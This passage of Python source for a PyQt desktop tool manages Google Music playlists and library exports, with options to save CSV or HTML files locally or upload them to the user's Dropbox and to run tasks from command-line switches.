it doesn't exist already\r\n if noSubDirectories == False:\r\n albumFolder=artistFolder + \"/\" + self.sanitizeString(self.library[track['trackId']][2])\r\n else:\r\n albumFolder=artistFolder\r\n \r\n try: \r\n folder_metadata = self.dropBoxClient.metadata(albumFolder, include_deleted=False)\r\n\r\n #if \"is_deleted\" in folder_metadata and folder_metadata[\"is_deleted\"] == False or \"is_deleted\" not in folder_metadata:\r\n # self.dropBoxClient.file_create_folder(albumFolder)\r\n except Exception as e:\r\n pass # Suppress warning because there seems to be an issue where this script tries to create the folder name even when it exists already\r\n\r\n # We have to write the file locally first before we can upload it to Dropbox\r\n with open(filename, 'wb') as input:\r\n input.write(audio)\r\n input.close()\r\n\r\n # Write the file to Dropbox\r\n with open(filename, 'rb') as output:\r\n trackFile=albumFolder + \"/\" + self.sanitizeString(filename,True)\r\n\r\n response = self.dropBoxClient.files_upload(output.read(),trackFile)\r\n\r\n output.close()\r\n\r\n os.remove(filename)\r\n\r\n # The m3u is only created when we are saving the songs in a playlist locally and the user hasn't specified to not create this file\r\n if saveLocation == \"Locally\" and noM3U == False:\r\n self.createM3U(playlistName,downloadPath)\r\n \r\n # When the user is not using command line arguments display message indicating that the download has finished using MessageBox. Otherwise print to console\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Download a playlist\", \"The download of the playlist \" + playlistName + \" has finished\")\r\n else:\r\n sys.exit()\r\n\r\n return\r\n\r\n # Open GitHub page when update button is clicked\r\n def downloadUpdate(self):\r\n webbrowser.open(self.siteURL)\r\n\r\n # Event when the user clicks on a playlist to be duplicated\r\n def duplicatePlaylist(self, playlistName, newPlaylistName=None, isRenaming=False):\r\n # If no command line arguments were given, prompt for the name of the playlist to create\r\n if newPlaylistName is None:\r\n # Display the prompt modally\r\n newPlaylistName = self.showDialog(\"Duplicate a playlist\", \"Please enter the name of the playlist that you want to create\")\r\n\r\n # When the dialog result is None, the user cancelled the dialog or clicked on OK without entering a playlist name\r\n if newPlaylistName == None or newPlaylistName == \"\":\r\n self.playlistExportFormatComboBox.hide()\r\n self.playlistExportFormatLabel.hide()\r\n\r\n return\r\n\r\n # If AllowDuplicatePlaylistNames is False, check to see if there is already a playlist with the same name as the one that will be created. If there is one, confirm with the user that they want to create a duplicate playlist\r\n if AllowDuplicatePlaylistNames == False:\r\n playlistNames = []\r\n\r\n # Add all playlist names to an array\r\n for playlist in self.playlists:\r\n playlistNames.append(playlist[\"name\"])\r\n\r\n # Sort the array\r\n allPlaylistNames = sorted(playlistNames)\r\n\r\n # Loop through all playlists. If the new playlist name chosen is in use, confirm with the user before creating a new playlist with the same name as another existing playlist\r\n for playlist in allPlaylistNames:\r\n # Only display this message when we are not working from the command line. parseCommandLineArguments() will verify that the playlist doesn't exist already when using command line arguments\r\n if playlist == newPlaylistName and newPlaylistName is None:\r\n result = self.messageBox_YesNo(\"Playlist name exists already\", \"The new playlist name that you entered exists already. Are you sure that you want to use this playlist name anyways ?\")\r\n\r\n if result != 'YES':\r\n return\r\n\r\n # Create the new playlist and store the new playlist id\r\n newPlaylistId = self.mc.create_playlist(newPlaylistName)\r\n\r\n # Loop through all tracks in the playlist and add each one to the new playlist\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == playlistName:\r\n for track in playlist[\"tracks\"]:\r\n self.mc.add_songs_to_playlist(newPlaylistId, track['trackId'])\r\n\r\n # When isRenaming is True, delete the playlist after it has been duplicated\r\n if isRenaming == True:\r\n # Get the playlist id for the specified playlist name\r\n for playlist in self.playlists:\r\n # Delete the original playlist\r\n if playlist[\"name\"] == playlistName:\r\n # API call to delete the playlist\r\n self.mc.delete_playlist(playlist[\"id\"])\r\n\r\n # When a command line argument was passed terminate the application\r\n if len(sys.argv) > 1:\r\n sys.exit()\r\n else:\r\n if isRenaming == True:\r\n self.messageBox(\"Rename a playlist\", \"The playlist \" + playlistName + \" has been renamed to \" + newPlaylistName)\r\n else:\r\n self.messageBox(\"Duplicate a playlist\", \"The playlist \" + playlistName + \" has duplicated as \" + newPlaylistName)\r\n\r\n # Reload the playlists from the server since we just deleted a playlist in case the user wants to delete another playlist\r\n self.loadPlaylists()\r\n\r\n # Event when the user clicks on Export All Playlists\r\n def exportAllPlaylists(self, exportPath=None, exportFormat=None, saveToDropbox=False):\r\n # Default export format to CSV if not specified\r\n if exportFormat is None:\r\n exportFormat = \"CSV\"\r\n elif self.exportFormatIsValid(exportFormat) != True:\r\n print(\"Export a playlist: Invalid exportFormat type \" + exportFormat)\r\n return\r\n\r\n # If saveToDropbox is False, prompt for the save location. Otherwise we force a return val of Dropbox\r\n if exportPath is None and saveToDropbox == True:\r\n saveLocation = \"Dropbox\"\r\n elif exportPath is not None and saveToDropbox == False:\r\n saveLocation = \"Locally\"\r\n else:\r\n saveLocation = self.promptForSaveLocation()\r\n\r\n if saveLocation == \"Cancel\":\r\n return\r\n\r\n # If path wasn't given at the command line prompt for it\r\n if exportPath is None and saveToDropbox == False and saveLocation == \"Locally\":\r\n exportPath = None\r\n\r\n exportPath = QFileDialog.getExistingDirectory(parent=self, dir=\"/\", caption='Please select a directory')\r\n\r\n if exportPath == \"\" or exportPath is None:\r\n return\r\n elif exportPath is None and (saveToDropbox == True or saveLocation == \"Dropbox\"):\r\n # When we are saving to Dropbox, create a temporary directory locally to save the playlists to before uploading them to Dropbox\r\n exportPath = tempfile.mkdtemp()\r\n else:\r\n os.chdir(exportPath)\r\n\r\n if sys.platform == \"win32\":\r\n exportPath = exportPath.replace(\"/\", \"\\\\\")\r\n\r\n # Loop through the playlist and add all tracks to playlisttracks array\r\n for playlist in self.playlists:\r\n # Replace any characters that are not allowed in Windows filenames with _.\r\n playlistname = playlist[\"name\"].replace(\"/\", \"_\").replace(\"\\\\\", \"_\").replace(\":\", \"_\").replace(\"*\", \"_\").replace(\"?\", \"_\").replace(\":\", \"_\").replace(chr(34), \"_\").replace(\"<\", \"_\").replace(\">\", \"_\").replace(\"|\", \"_\")\r\n\r\n fileName = exportPath + self.delimiter + playlistname + \".\" + exportFormat.lower()\r\n\r\n # Change to working dir. Upload to DB will fail if we don't do this but its also needed when working locally\r\n os.chdir(exportPath)\r\n\t\t\t\t\t\r\n self.exportPlaylist(playlist,playlistname + \".\" + exportFormat.lower(),exportFormat,saveToDropbox,True)\r\n\r\n if len(sys.argv) > 1:\r\n sys.exit()\r\n else:\r\n self.messageBox(\"Export Library\", \"Export All Playlists has finished\")\r\n\r\n # Verify that the export format is valid\r\n def exportFormatIsValid(self, exportFormat):\r\n if exportFormat == \"CSV\" or exportFormat == \"HTML\":\r\n return True\r\n else:\r\n return False\r\n\r\n # Event when the user selects the export library option\r\n def exportLibrary(self, fileName=None, exportFormat=None, saveToDropbox=False):\r\n # Make sure DB Oauth is only done once\r\n dropBoxOAuthCompleted = False\r\n\t\t \r\n # Default export format to CSV if not specified\r\n if exportFormat is None:\r\n exportFormat = \"CSV\"\r\n elif self.exportFormatIsValid(exportFormat) != True:\r\n print(\"Export library: Invalid exportFormat type \" + exportFormat)\r\n return\r\n \r\n # If saveToDropbox is False, prompt for the save location. Otherwise we force a return val of Dropbox\r\n if fileName is None and saveToDropbox == True:\r\n saveLocation = \"Dropbox\"\r\n\r\n if dropBoxOAuthCompleted == False:\r\n # Log into Dropbox using OAuth so we can read and write to it\r\n if self.performDropboxOAuth() == False:\r\n return\r\n \r\n dropBoxOAuthCompleted = True\r\n elif fileName is not None and saveToDropbox == False:\r\n saveLocation = \"Locally\"\r\n else:\r\n saveLocation = self.promptForSaveLocation()\r\n\r\n # Log into Dropbox using OAuth so we can read and write to it if the save location chosen is Dropbox\r\n if saveLocation == \"Dropbox\" and dropBoxOAuthCompleted == False:\r\n if self.performDropboxOAuth() == False:\r\n return\r\n \r\n dropBoxOAuthCompleted = True\r\n if saveLocation == \"Cancel\":\r\n return\r\n\r\n # If no filename was provided at the command line, prompt for one\r\n if fileName is None and saveToDropbox == False and saveLocation == \"Locally\":\r\n # Prompt for the location and filename to save the export using the playlistname.exportformat as the default file name\r\n if exportFormat == \"CSV\":\r\n fileName, filter = QFileDialog.getSaveFileName(self, 'Choose the location to save the export', \"My GMusic Library as of \" + time.strftime(\"%x\").replace(\"/\", \"-\") + \".\" + exportFormat.lower(), \"CSV (*.csv)\")\r\n elif exportFormat == \"HTML\":\r\n fileName, filter = QFileDialog.getSaveFileName(self, 'Choose the location to save the export', \"My GMusic Library as of \" + time.strftime(\"%x\").replace(\"/\", \"-\") + \".\" + exportFormat.lower(), 'HTML (*.html)')\r\n\r\n # If the user clicked on cancel then do nothing\r\n if fileName is None or fileName == \"\":\r\n return False\r\n elif fileName is None and (saveToDropbox == True or saveLocation == \"Dropbox\"):\r\n fileName = \"My GMusic Library as of \" + time.strftime(\"%x\").replace(\"/\", \"-\") + \".\" + exportFormat.lower()\r\n\r\n # Reference to entire catalog\r\n library = self.mc.get_all_songs()\r\n\r\n # create array from the data so we can pass the data to writeData()\r\n libTracks = list()\r\n\r\n for currTrack in library:\r\n row=[currTrack[\"id\"],currTrack[\"title\"],currTrack[\"album\"],currTrack[\"artist\"],currTrack[\"trackNumber\"],currTrack[\"year\"],currTrack[\"albumArtist\"],currTrack[\"discNumber\"],currTrack[\"genre\"]]\r\n libTracks.append(row)\r\n\r\n # Write playlist\r\n self.writeData(fileName,exportFormat,libTracks)\r\n\r\n # if this function is called from the command line, this flag will be true\r\n if saveToDropbox == False and saveLocation == \"Locally\":\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Export Library\", \"Export complete\")\r\n else:\r\n sys.exit()\r\n elif saveToDropbox == True or saveLocation == \"Dropbox\":\r\n if dropBoxOAuthCompleted == False:\r\n # Write the file to Dropbox\r\n if self.performDropboxOAuth() == False:\r\n return\r\n\t\t\t\t\t\t \r\n dropBoxOAuthCompleted = True\r\n\r\n dest_path = os.path.join('/', fileName)\r\n \r\n with open(fileName,'rb') as f:\r\n self.dropBoxClient.files_upload(f.read(),dest_path)\r\n\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Export Library\", \"Export complete\")\r\n else:\r\n sys.exit()\r\n\r\n # Event when the user clicks on a playlist to export\r\n def exportPlaylist(self, playlistName, fileName=None, exportFormat=None, saveToDropbox=False,skipDropboxOAuth=False):\r\n # Default export format to CSV if not specified\r\n if exportFormat is None:\r\n exportFormat = \"CSV\"\r\n elif self.exportFormatIsValid(exportFormat) != True:\r\n print(\"Export a playlist: Invalid exportFormat type \" + exportFormat)\r\n return\r\n \r\n # Used to determine if the command line argument was used to invoke this function\r\n # so we know whether to display a messagebox when the export completes\r\n if fileName is not None:\r\n isCommandLine=True\r\n else:\r\n isCommandLine=False\r\n \r\n # If saveToDropbox is False, prompt for the save location. Otherwise we force a return val of Dropbox\r\n if fileName is None and saveToDropbox == True:\r\n saveLocation = \"Dropbox\"\r\n fileName = playlistName + \".\" + exportFormat.lower()\r\n elif fileName is not None and saveToDropbox == False:\r\n saveLocation = \"Locally\"\r\n elif saveToDropbox == False:\r\n saveLocation = self.promptForSaveLocation()\r\n\t\t \r\n if saveLocation == \"Dropbox\":\r\n fileName = playlistName + \".\" + exportFormat.lower()\r\n saveToDropbox = True\r\n else:\r\n saveLocation=\"\"\r\n\r\n if saveLocation == \"Cancel\":\r\n return\r\n\r\n # If a command line argument wasn't given prompt for the location to save the playlist\r\n if fileName is None and saveToDropbox == False and saveLocation == \"Locally\":\r\n # Prompt for the location and filename to save the export using the playlistname.exportformat as the default file name\r\n if exportFormat == \"CSV\":\r\n fileName, filter = QFileDialog.getSaveFileName(self, 'Choose the location to save the CSV playlist', playlistName + \".\" + exportFormat.lower(), 'CSV (*.csv)')\r\n elif exportFormat == \"HTML\":\r\n fileName, filter = QFileDialog.getSaveFileName(self, 'Choose the location to save the HTML playlist', playlistName + \".\" + exportFormat.lower(), 'HTML (*.html)')\r\n\r\n # If the user clicked on cancel then do nothing\r\n if fileName is None or fileName == \"\":\r\n return\r\n\r\n # exportFile = open(fileName, \"w\")\r\n\r\n playlisttracks = []\r\n\r\n # Loop through the playlist and add all tracks to playlisttracks array\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == playlistName:\r\n # for track in sorted(playlist[\"tracks\"]):\r\n for track in playlist[\"tracks\"]:\r\n playlisttracks.append(self.library[track['trackId']])\r\n\r\n # Sort the playlist tracks by index 0 (The track name)\r\n playlisttracks = sorted(playlisttracks, key=lambda playlisttrack: playlisttrack[0])\r\n\r\n for playlisttrack in playlisttracks:\r\n playlisttrack[9:10]=[] # Remove Timestamp and size\r\n playlisttrack[9:10]=[]\r\n\r\n # Write data\r\n self.writeData(fileName,exportFormat,playlisttracks)\r\n\r\n if saveToDropbox == False or saveLocation == \"Locally\":\r\n # If this wasn't called from the command line argument, display a message that it has completed\r\n if isCommandLine == False:\r\n self.messageBox(\"Export Playlist\", \"The export of the playlist \" + playlistName + \" has completed\")\r\n else:\r\n return\r\n elif saveToDropbox == True or saveLocation == \"Dropbox\":\r\n if skipDropboxOAuth == False:\r\n # Log into Dropbox using OAuth so we can read and write to it\r\n if self.performDropboxOAuth() == False:\r\n return\r\n\r\n dest_path = os.path.join('/', fileName)\r\n \r\n with open(fileName,'rb') as f:\r\n self.dropBoxClient.files_upload(f.read(),dest_path)\r\n\t\t\t \r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Export Playlist\", \"The export of the playlist \" + playlistName + \" has completed\")\r\n\r\n # Export all purchased songs to a file\r\n def exportPurchasedSongs(self, fileName=None, exportFormat=None, saveToDropbox=False):\r\n # Make sure DB Oauth is only done once\r\n dropBoxOAuthCompleted = False\r\n\r\n # Log into Google using OAuth so we can use the Musicmanager interface\r\n if self.performGoogleOAuth() == False:\r\n return\r\n\r\n # Default export format to CSV if not specified\r\n if exportFormat is None:\r\n exportFormat = \"CSV\"\r\n elif self.exportFormatIsValid(exportFormat) != True:\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Export Library\", \"Export complete\")\r\n else:\r\n print(\"Export purchased songs: Invalid exportFormat type \" + exportFormat)\r\n\r\n return\r\n\r\n if exportFormat is None:\r\n exportFormat=self.promptForSaveFormat()\r\n\r\n if exportFormat==\"Cancel\":\r\n return\r\n\r\n # If saveToDropbox is False, prompt for the save location. Otherwise we force a return val of Dropbox\r\n if fileName is None and saveToDropbox == True:\r\n saveLocation = \"Dropbox\"\r\n\r\n if dropBoxOAuthCompleted == False:\r\n # Log into Dropbox using OAuth so we can read and write to it\r\n if self.performDropboxOAuth() == False:\r\n return\r\n \r\n dropBoxOAuthCompleted = True\r\n elif fileName is not None and saveToDropbox == False:\r\n saveLocation = \"Locally\"\r\n else:\r\n saveLocation = self.promptForSaveLocation()\r\n\r\n # Log into Dropbox using OAuth so we can read and write to it if the save location chosen is Dropbox\r\n if saveLocation == \"Dropbox\" and dropBoxOAuthCompleted == False:\r\n if self.performDropboxOAuth() == False:\r\n return\r\n \r\n dropBoxOAuthCompleted = True\r\n if saveLocation == \"Cancel\":\r\n return\r\n\r\n if fileName is None:\r\n fileName = \"My GMusic Purchased Songs as of \" + time.strftime(\"%x\").replace(\"/\", \"-\") + \".\" + exportFormat.lower()\r\n \r\n # Download all purchased songs\r\n purchasedSongs = self.mm.get_purchased_songs()\r\n\r\n # Write data\r\n self.writeData(fileName,exportFormat,purchasedSongs)\r\n\r\n # if this function is called from the command line, this flag will be true\r\n if saveLocation == \"locally\" and saveToDropbox == False:\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Export Purchased Songs\", \"Export complete\")\r\n else:\r\n sys.exit()\r\n elif saveLocation == \"Dropbox\" or saveToDropbox == True:\r\n # Write the file to Dropbox\r\n if self.performDropboxOAuth() == False:\r\n return\r\n\t\t\t\t\t\t \r\n dest_path = os.path.join('/', fileName)\r\n \r\n with open(fileName,'rb') as f:\r\n self.dropBoxClient.files_upload(f.read(),dest_path)\r\n\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Export Purchased Songs\", \"Export complete\")\r\n else:\r\n sys.exit()\r\n\r\n # Export the songs currently being displayed in the recently added window\r\n def exportRecentlyAdded(self,fileName,exportFormat,saveToDropbox):\r\n if exportFormat is None:\r\n exportFormat=self.promptForSaveFormat()\r\n \r\n if exportFormat==\"Cancel\":\r\n return\r\n\r\n saveLocation = \"\"\r\n\r\n if fileName is None:\r\n saveLocation = self.promptForSaveLocation()\r\n \r\n if saveLocation==\"Locally\":\r\n if exportFormat==\"CSV\":\r\n fileName, filter = QFileDialog.getSaveFileName(self, 'Choose the location to save the recently added file', \"\", 'CSV (*.csv)')\r\n else:\r\n fileName, filter = QFileDialog.getSaveFileName(self, 'Choose the location to save the recently added file', \"\", 'HTML (*.html)')\r\n \r\n # If the user clicked on cancel then do nothing\t\r\n if fileName is None or fileName == \"\":\r\n return\r\n elif saveLocation == \"Dropbox\":\r\n fileName = playlistName + \".\" + exportFormat.lower()\r\n elif saveLocation == \"Cancel\":\r\n return\r\n\r\n self.writeData(fileName,exportFormat,self.newSongs,extendedHeader=True)\r\n \r\n if saveToDropbox == False and len(sys.argv) == 1:\r\n self.messageBox(\"Export Playlist\", \"The export of the recently added files has completed\")\r\n elif saveToDropbox == True or saveLocation == \"Dropbox\":\r\n # Log into Dropbox using OAuth so we can read and write to it\r\n if self.performDropboxOAuth() == False:\r\n return\r\n\r\n \r\n # Write the file to Dropbox\r\n dest_path = os.path.join('/', fileName)\r\n \r\n with open(fileName,'rb') as f:\r\n self.dropBoxClient.files_upload(f.read(),dest_path)\r\n\r\n # Find duplicate tracks across 2 playlists\r\n def findDuplicateTracksInPlaylist(self,playlist1,playlist2,isCommandLine=False, saveToDropbox=False, fileName=None):\r\n playlist1IDs=set()\r\n playlist2IDs=set()\r\n \r\n # Loop through all tracks in playlist1 and add the ID to playlist1IDs set\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == playlist1:\r\n for track in playlist[\"tracks\"]:\r\n playlist1IDs.add(track['trackId'])\r\n\r\n # Loop through all tracks in playlist2 and add the ID to playlist2IDs set\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == playlist2:\r\n for track in playlist[\"tracks\"]:\r\n playlist2IDs.add(track['trackId']) \r\n \r\n # Compare the 2 sets and store the results in a new set\r\n dupeID=playlist1IDs.intersection(playlist2IDs)\r\n \r\n # When the resulting set is empty there are no duplicates\r\n if len(dupeID) == 0:\r\n # This function was not run from the command line so display message with MessageBox\r\n if fileName is None:\r\n self.messageBox(\"Find duplicate tracks in playlists\",\"There were no duplicates found between \" + playlist1 + \" and \" + playlist2)\r\n else:\r\n print(\"There were no duplicates found between \" + playlist1 + \" and \" + playlist2)\r\n \r\n return\r\n \r\n # Transform data into array so we can write data to it\r\n dupes = list()\r\n\r\n for currID in dupeID:\r\n row=[self.library[currID][0],self.library[currID][1],self.library[currID][2],self.library[currID][3],self.library[currID][4],self.library[currID][5],self.library[currID][6],self.library[currID][7],self.library[currID][8]];\r\n dupes.append(row)\r\n\r\n # If filename wasn't provided, this function was run from the GUI and not the command line\r\n if isCommandLine == False: \r\n # Get the location to save the resulting file (Locally or Dropbox)\r\n saveLocation = self.promptForSaveLocation()\r\n \r\n if saveLocation == \"Cancel\":\r\n return\r\n \r\n # Prompt for the file name if the file is being saved locally\r\n if saveLocation == \"Locally\":\r\n fileName, filter = QFileDialog.getSaveFileName(self, 'Choose the location to save the results of the comparison',playlist1 + \" to \" + playlist2 + \" Comparison.csv\", 'CSV (*.csv)')\r\n \r\n # If the user clicked on cancel then do nothing\r\n if fileName is None or fileName == \"\":\r\n return False\r\n else:\r\n fileName=playlist1 + \" to \" + playlist2 + \" Comparison.csv\"\r\n elif saveToDropbox == True and fileName is None:\r\n saveLocation=\"Dropbox\"\r\n fileName=playlist1 + \" to \" + playlist2 + \" Comparison.csv\"\r\n elif saveToDropbox == False and fileName is None:\r\n saveLocation=\"Locally\"\r\n fileName=playlist1 + \" to \" + playlist2 + \" Comparison.csv\"\r\n else:\r\n saveLocation=\"\"\r\n\r\n self.writeData(fileName,\"CSV\",dupes)\r\n\r\n # Save to Dropbox if that was selected as the save location\r\n if saveToDropbox == True or saveLocation==\"Dropbox\":\r\n # Log into Dropbox using OAuth so we can read and write to it\r\n if self.performDropboxOAuth() == False:\r\n return\r\n\r\n # Write the file to Dropbox\r\n dest_path = os.path.join('/', fileName)\r\n \r\n with open(fileName,'rb') as f:\r\n self.dropBoxClient.files_upload(f.read(),dest_path)\r\n\r\n if isCommandLine==False:\r\n self.resetLayout()\r\n else:\r\n sys.exit()\r\n\r\n # Event when the user clicks on the Export As ComboBox for a library task\r\n def libraryExportFormatComboBoxChange(self):\r\n if str(self.libraryTaskComboBox.currentText()) == \"Export your entire library\" and self.libraryExportFormatComboBox.currentIndex() != 0:\r\n self.exportLibrary(None, self.libraryExportFormatComboBox.currentText())\r\n self.resetLayout()\r\n elif str(self.libraryTaskComboBox.currentText()) == \"Export all purchased songs\" and self.libraryExportFormatComboBox.currentIndex() != 0:\r\n self.exportPurchasedSongs(None, self.libraryExportFormatComboBox.currentText())\r\n self.resetLayout()\r\n\r\n # Event when the user chooses a library related task\r\n def libraryTaskComboBoxChange(self, optionItem):\r\n if optionItem == \"Export your entire library\":\r\n # Always hide the recently added date dropdown when this is chosen\r\n self.recentlyAddedLabel.hide()\r\n self.recentlyAddedDateEdit.hide()\r\n \r\n if self.libraryExportFormatComboBox.isHidden() == False and self.libraryExportFormatComboBox.currentIndex() != 0:\r\n self.exportLibrary()\r\n self.resetLayout()\r\n else:\r\n self.libraryExportFormatLabel.show()\r\n self.libraryExportFormatComboBox.show()\r\n elif optionItem == \"View recently added files\":\r\n # Hide export format label and dropdown\r\n self.libraryExportFormatLabel.hide()\r\n self.libraryExportFormatComboBox.hide()\r\n \r\n self.recentlyAddedLabel.show()\r\n self.recentlyAddedDateEdit.show()\r\n elif optionItem == \"Export all purchased songs\":\r\n if self.libraryExportFormatComboBox.isHidden() == False and self.libraryExportFormatComboBox.currentIndex() != 0:\r\n self.exportPurchasedSongs()\r\n self.resetLayout()\r\n else:\r\n self.libraryExportFormatLabel.show()\r\n self.libraryExportFormatComboBox.show()\r\n else:\r\n self.libraryExportFormatLabel.hide()\r\n self.libraryExportFormatComboBox.hide()\r\n\r\n # Load the library of songs\r\n def loadLibrary(self):\r\n # Load library - Get Track ID,Song Title,Album,Artist and Track number for each song in the library\r\n #\r\n # We must have a try except here to trap an error since this API call will randomly return a 500 error from Google\r\n try:\r\n self.library = {song['id']: [song['id'], song['title'], song['album'], song['artist'], song['trackNumber'], song.get(\"year\", \"\"), song['albumArtist'], song['discNumber'], song.get(\"genre\", \"\"), song.get(\"creationTimestamp\",\"\"), song.get(\"estimatedSize\",\"\")] for song in self.mc.get_all_songs()}\r\n except:\r\n # When no command line arguments were provided, we are using the GUI so use MessageBox, otherwise print error message to console\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Library Error\", \"An error occurred while getting the list of songs in your library. Please try again\")\r\n else:\r\n print(\"An error occurred while getting the list of songs in your library. Please try again\")\r\n sys.exit()\r\n\r\n # Load playlists and store values in the playlist ComboBox\r\n def loadPlaylists(self):\r\n self.playlists = self.mc.get_all_user_playlist_contents()\r\n\r\n playlistNames = []\r\n\r\n # Add Empty entry into playlist so theres always a blank option at the top\r\n playlistNames.insert(0, \"\")\r\n\r\n for playlist in self.playlists:\r\n playlistNames.insert(0, playlist[\"name\"])\r\n\r\n playlistNames.sort(key=lambda s: s.lower())\r\n\r\n self.playlistComboBox.clear()\r\n self.playlistComboBox2.clear()\r\n \r\n for playlist in playlistNames:\r\n self.playlistComboBox.addItem(playlist)\r\n self.playlistComboBox2.addItem(playlist)\r\n\r\n # Display MessageBox with Ok button\r\n def messageBox(self, title, message):\r\n QMessageBox.question(self, title, message, QMessageBox.Ok)\r\n\r\n return True\r\n\r\n # Display MessageBox with Yes/No Buttons\r\n def messageBox_YesNo(self, title, message):\r\n reply = QMessageBox.question(self, title, message, QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\r\n\r\n if reply == QMessageBox.Yes:\r\n return \"YES\"\r\n else:\r\n return \"NO\"\r\n\r\n # Parse and validate command line arguments\r\n def parseCommandLineArguments(self):\r\n validParameter = False\r\n\r\n # Command line arguments are the # of total parameters required including the app\r\n claParameters = {\"/checkforupdates\" : 1, \"/createplaylist\" : 3, \"/deleteplaylist\" : 2, \"/downloadplaylist\" : 3, \"/duplicateplaylist\" : 3, \"/exportlibrary\":3, \"/exportpurchasedsongs\":3, \"/exportplaylist\": 4, \"/exportallplaylists\":3, \"/findduplicates\":4,\"/help\": 1, \"/recentlyadded\":4, \"/renameplaylist\":3}\r\n\r\n # No command line arguments\r\n if len(sys.argv) == 1:\r\n # Load all playlists\r\n self.playlists = self.mc.get_all_user_playlist_contents()\r\n\r\n self.loadLibrary()\r\n\r\n return\r\n\r\n\r\n # Verify that the correct # of parameters were given. I start at index 1 and not 0 because index 0 referes to this script\r\n validParameter = False\r\n\r\n # loop through all parameters\r\n for key in claParameters:\r\n if key == sys.argv[1]:\r\n validParameter = True\r\n\r\n # If the # of arguments is not correct for this parameter, display an error\r\n if len(sys.argv)-1 != claParameters[key]:\r\n print(os.linesep + os.linesep + \"Invalid number of command line parameter(s) given for \" + sys.argv[1] + \". Expected \" + str(claParameters[key]) + \" parameters but received \" + str(len(sys.argv)-1) + \" parameters\")\r\n self.commandLineUsage(sys.argv[1])\r\n sys.exit()\r\n\r\n # If the parameter isn't valid\r\n if validParameter == False:\r\n print(\"os.linesep + os.linesep + Invalid command line parameter(s) \" + sys.argv[1])\r\n self.commandLineUsage()\r\n sys.exit()\r\n\r\n if sys.argv[1] == '/help' or sys.argv[1] == \"/?\":\r\n if not sys.argv[2] is None:\r\n self.commandLineUsage(sys.argv[2])\r\n else:\r\n self.commandLineUsage()\r\n elif sys.argv[1] == \"/checkforupdates\":\r\n self.checkForUpdate()\r\n sys.exit()\r\n elif sys.argv[1] == \"/createplaylist\":\r\n self.playlists = self.mc.get_all_user_playlist_contents()\r\n\r\n # Validate that the new playlist name provided is not an existing playlist name\r\n validPlaylist = False\r\n\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == sys.argv[2] and AllowDuplicatePlaylistNames == False:\r\n print(os.linesep + os.linesep + \"The new playlist name that you specified: \" + sys.argv[2] + \" exists already. Please use a different name or use /deleteplaylist first to delete the playlist\")\r\n self.commandLineUsage(\"/createplaylist\")\r\n sys.exit()\r\n if str(sys.argv[3])[-4:].upper() != \".CSV\":\r\n print(os.linesep + os.linesep + \"The filename argument for /createplaylist must be a CSV file\")\r\n self.commandLineUsage(\"/createplaylist\")\r\n sys.exit()\r\n self.createPlaylistFromCSV(sys.argv[2], sys.argv[3])\r\n elif sys.argv[1] == \"/deleteplaylist\":\r\n self.playlists = self.mc.get_all_user_playlist_contents()\r\n\r\n # Validate that the playlist name provided is valid\r\n validPlaylist = False\r\n\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == sys.argv[2]:\r\n validPlaylist = True\r\n\r\n if validPlaylist == False:\r\n print(os.linesep + os.linesep + \"The playlist \" + sys.argv[2] + \" does not exist\")\r\n sys.exit()\r\n\r\n self.deletePlaylist(sys.argv[2])\r\n elif sys.argv[1] == \"/downloadplaylist\":\r\n self.playlists = self.mc.get_all_user_playlist_contents()\r\n\r\n # Validate that the playlist name provided is valid\r\n validPlaylist = False\r\n\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == sys.argv[2]:\r\n validPlaylist = True\r\n\r\n if validPlaylist == False:\r\n print(os.linesep + os.linesep + \"The playlist \" + sys.argv[2] + \" does not exist\")\r\n sys.exit()\r\n\r\n self.loadLibrary()\r\n\r\n if sys.argv[3].upper() == \"DROPBOX\":\r\n self.downloadPlaylistToDirectory(sys.argv[2], None, True)\r\n else:\r\n self.downloadPlaylistToDirectory(sys.argv[2], sys.argv[3])\r\n\r\n sys.exit()\r\n elif sys.argv[1] == \"/duplicateplaylist\":\r\n self.playlists = self.mc.get_all_user_playlist_contents()\r\n\r\n # Validate that the playlist name provided is valid\r\n validPlaylist = False\r\n\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == sys.argv[2]:\r\n validPlaylist = True\r\n\r\n if validPlaylist == False:\r\n print(os.linesep + os.linesep + \"The playlist \" + sys.argv[2] + \" does not exist\")\r\n self.commandLineUsage(\"/duplicateplaylist\")\r\n sys.exit()\r\n\r\n # Validate that the new playlist name provided is not an existing playlist name\r\n validPlaylist = False\r\n\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == sys.argv[3] and AllowDuplicatePlaylistNames == False:\r\n print(os.linesep + os.linesep + \"The new playlist name \" + sys.argv[3] + \" already exists. Please use /deleteplaylist first to delete the playlist\")\r\n self.commandLineUsage(\"/duplicateplaylist\")\r\n sys.exit()\r\n\r\n self.duplicatePlaylist(sys.argv[2], sys.argv[3])\r\n elif sys.argv[1] == \"/exportlibrary\":\r\n # Convert the export format to upper case\r\n sys.argv[3] = sys.argv[3].upper()\r\n\r\n if self.exportFormatIsValid(sys.argv[3]) == False:\r\n print(os.linesep + os.linesep + \"The export format \" + sys.argv[3] + \" is not valid.\")\r\n self.commandLineUsage(\"/exportlibrary\")\r\n sys.exit()\r\n\r\n if sys.argv[2].upper() == \"DROPBOX\":\r\n self.exportLibrary(None, sys.argv[3], True)\r\n else:\r\n self.exportLibrary(sys.argv[2], sys.argv[3])\r\n elif sys.argv[1] == \"/exportpurchasedsongs\":\r\n # Convert the export format to upper case\r\n sys.argv[3] = sys.argv[3].upper()\r\n\r\n if self.exportFormatIsValid(sys.argv[3]) == False:\r\n print(os.linesep + os.linesep + \"The export format \" + sys.argv[3] + \" is not valid.\")\r\n self.commandLineUsage(\"/exportpurchasedsongs\")\r\n 